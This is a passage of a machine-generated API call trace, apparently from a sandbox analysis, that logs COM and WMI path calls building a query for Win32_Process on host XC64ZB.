CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0121.198] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0121.198] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0060, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4b0060) returned 0x0 [0121.198] WbemDefPath:IUnknown:AddRef (This=0x1b4b0060) returned 0x3 [0121.198] WbemDefPath:IUnknown:Release (This=0x1b4b0060) returned 0x2 [0121.198] WbemDefPath:IWbemPath:SetText (This=0x1b4b0060, uMode=0x4, pszPath="") returned 0x0 [0121.198] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0121.198] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0121.198] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0121.199] IUnknown:Release (This=0x6124e8) returned 0x1 [0121.199] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d27e0) returned 0x0 [0121.199] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d27e0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0121.199] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d27e0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4aefe0) returned 0x0 [0121.199] WbemDefPath:IUnknown:Release (This=0x1b4d27e0) returned 0x0 [0121.199] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aefe0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4aefe0) returned 0x0 [0121.199] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aefe0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0121.199] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aefe0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0121.200] WbemDefPath:IUnknown:AddRef (This=0x1b4aefe0) returned 0x3 [0121.200] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aefe0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0121.200] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aefe0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0121.200] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aefe0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d2920) returned 0x0 [0121.200] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2920, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0121.200] WbemDefPath:IUnknown:Release (This=0x1b4d2920) returned 0x3 [0121.200] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0121.200] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0121.200] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aefe0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0121.200] WbemDefPath:IUnknown:Release (This=0x1b4aefe0) returned 0x2 [0121.200] WbemDefPath:IUnknown:Release (This=0x1b4aefe0) returned 0x1 [0121.200] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0121.200] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0121.200] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aefe0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4aefe0) returned 0x0 [0121.200] WbemDefPath:IUnknown:AddRef (This=0x1b4aefe0) returned 0x3 [0121.200] WbemDefPath:IUnknown:Release (This=0x1b4aefe0) returned 0x2 [0121.200] WbemDefPath:IWbemPath:SetText (This=0x1b4aefe0, uMode=0x4, pszPath="") returned 0x0 [0121.200] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aefe0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0121.200] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0060, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0121.200] WbemDefPath:IWbemPath:GetClassName (in: This=0x1b4aefe0, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0121.200] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4aefe0, puNameBufLength=0x1b30d560*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d560*=0x0, pName=0x0) returned 0x80041009 [0121.200] WbemDefPath:IWbemPath:SetServer (This=0x1b4aefe0, Name="XC64ZB") returned 0x0 [0121.200] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0121.200] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0121.201] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0121.201] IUnknown:Release (This=0x6124e8) returned 0x1 [0121.201] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d2b40) returned 0x0 [0121.201] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2b40, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0121.201] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2b40, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4b0ae0) returned 0x0 [0121.202] WbemDefPath:IUnknown:Release (This=0x1b4d2b40) returned 0x0 [0121.202] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0ae0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4b0ae0) returned 0x0 [0121.202] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0ae0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0121.202] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0ae0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0121.202] WbemDefPath:IUnknown:AddRef (This=0x1b4b0ae0) returned 0x3 [0121.202] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0ae0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0121.202] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0ae0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0121.202] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0ae0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d2840) returned 0x0 [0121.202] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2840, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0121.202] WbemDefPath:IUnknown:Release (This=0x1b4d2840) returned 0x3 [0121.202] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0121.202] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0121.202] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0ae0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0121.202] WbemDefPath:IUnknown:Release (This=0x1b4b0ae0) returned 0x2 [0121.202] WbemDefPath:IUnknown:Release (This=0x1b4b0ae0) returned 0x1 [0121.202] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0121.202] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0121.203] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0ae0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4b0ae0) returned 0x0 [0121.203] WbemDefPath:IUnknown:AddRef (This=0x1b4b0ae0) returned 0x3 [0121.203] WbemDefPath:IUnknown:Release (This=0x1b4b0ae0) returned 0x2 [0121.203] WbemDefPath:IWbemPath:SetText (This=0x1b4b0ae0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0121.203] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aefe0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0121.203] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0ae0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0121.203] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0ae0, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0121.203] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0ae0, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0121.203] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1b4aefe0) returned 0x0 [0121.203] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0ae0, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0121.203] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b0ae0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0121.203] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b0ae0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="ROOT") returned 0x0 [0121.203] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4aefe0, uIndex=0x0, pszName="ROOT") returned 0x0 [0121.203] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b0ae0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0121.203] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b0ae0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="CIMV2") returned 0x0 [0121.203] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4aefe0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0121.203] WbemDefPath:IWbemPath:GetClassName (in: This=0x1b4aefe0, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0121.203] WbemDefPath:IWbemPath:SetClassName (This=0x1b4aefe0, Name="Win32_Process") returned 0x0 [0121.203] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4aefe0, uRequestedInfo=0x0, puResponse=0x1b30d640 | out: puResponse=0x1b30d640*=0x20c16) returned 0x0 [0121.203] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aefe0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0121.203] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aefe0, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x22, pszText=0x0) returned 0x0 [0121.203] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aefe0, lFlags=4, puBuffLength=0x1b30d590*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0121.203] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4aefe0, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0x20c16) returned 0x0 [0121.203] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aefe0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0121.203] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aefe0, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x14, pszText=0x0) returned 0x0 [0121.203] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aefe0, lFlags=8, puBuffLength=0x1b30d590*=0x14, pszText="0000000000000000000" | out: puBuffLength=0x1b30d590*=0x14, pszText="\\\\XC64ZB\\ROOT\\CIMV2") returned 0x0 [0121.204] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aece0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0121.204] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aece0, lFlags=16, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xb, pszText=0x0) returned 0x0 [0121.204] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aece0, lFlags=16, puBuffLength=0x1b30d590*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d590*=0xb, pszText="root\\cimv2") returned 0x0 [0121.204] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aefe0, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0121.204] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aefe0, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0121.204] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d4e8 | out: ppv=0x1b30d4e8*=0x6124e8) returned 0x0 [0121.204] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4d8 | out: pAptType=0x1b30d4d8*=1) returned 0x0 [0121.204] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d4e0 | out: ppvObject=0x1b30d4e0*=0x0) returned 0x80004002 [0121.204] IUnknown:Release (This=0x6124e8) returned 0x1 [0121.204] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8d8 | out: ppv=0x1b30c8d8*=0x1b4d2e40) returned 0x0 [0121.204] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2e40, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9c0 | out: ppvObject=0x1b30c9c0*=0x0) returned 0x80004002 [0121.204] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2e40, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c998 | out: ppvObject=0x1b30c998*=0x1b4aec20) returned 0x0 [0121.205] WbemDefPath:IUnknown:Release (This=0x1b4d2e40) returned 0x0 [0121.205] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aec20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c740 | out: ppvObject=0x1b30c740*=0x1b4aec20) returned 0x0 [0121.205] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aec20, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7d0 | out: ppvObject=0x1b30c7d0*=0x0) returned 0x80004002 [0121.205] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aec20, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfc8 | out: ppvObject=0x1b30bfc8*=0x0) returned 0x80004002 [0121.205] WbemDefPath:IUnknown:AddRef (This=0x1b4aec20) returned 0x3 [0121.205] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aec20, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be88 | out: ppvObject=0x1b30be88*=0x0) returned 0x80004002 [0121.205] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aec20, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be10 | out: ppvObject=0x1b30be10*=0x0) returned 0x80004002 [0121.205] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aec20, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be00 | out: ppvObject=0x1b30be00*=0x1b4d26c0) returned 0x0 [0121.205] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d26c0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be28 | out: pCid=0x1b30be28*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0121.205] WbemDefPath:IUnknown:Release (This=0x1b4d26c0) returned 0x3 [0121.205] CoGetContextToken (in: pToken=0x1b30beb0 | out: pToken=0x1b30beb0) returned 0x0 [0121.205] CoGetContextToken (in: pToken=0x1b30c330 | out: pToken=0x1b30c330) returned 0x0 [0121.205] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aec20, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c3f0 | out: ppvObject=0x1b30c3f0*=0x0) returned 0x80004002 [0121.205] WbemDefPath:IUnknown:Release (This=0x1b4aec20) returned 0x2 [0121.205] WbemDefPath:IUnknown:Release (This=0x1b4aec20) returned 0x1 [0121.205] CoGetContextToken (in: pToken=0x1b30d120 | out: pToken=0x1b30d120) returned 0x0 [0121.205] CoGetContextToken (in: pToken=0x1b30d020 | out: pToken=0x1b30d020) returned 0x0 [0121.205] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aec20, riid=0x1b30d180*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d150 | out: ppvObject=0x1b30d150*=0x1b4aec20) returned 0x0 [0121.205] WbemDefPath:IUnknown:AddRef (This=0x1b4aec20) returned 0x3 [0121.205] WbemDefPath:IUnknown:Release (This=0x1b4aec20) returned 0x2 [0121.205] WbemDefPath:IWbemPath:SetText (This=0x1b4aec20, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0121.205] 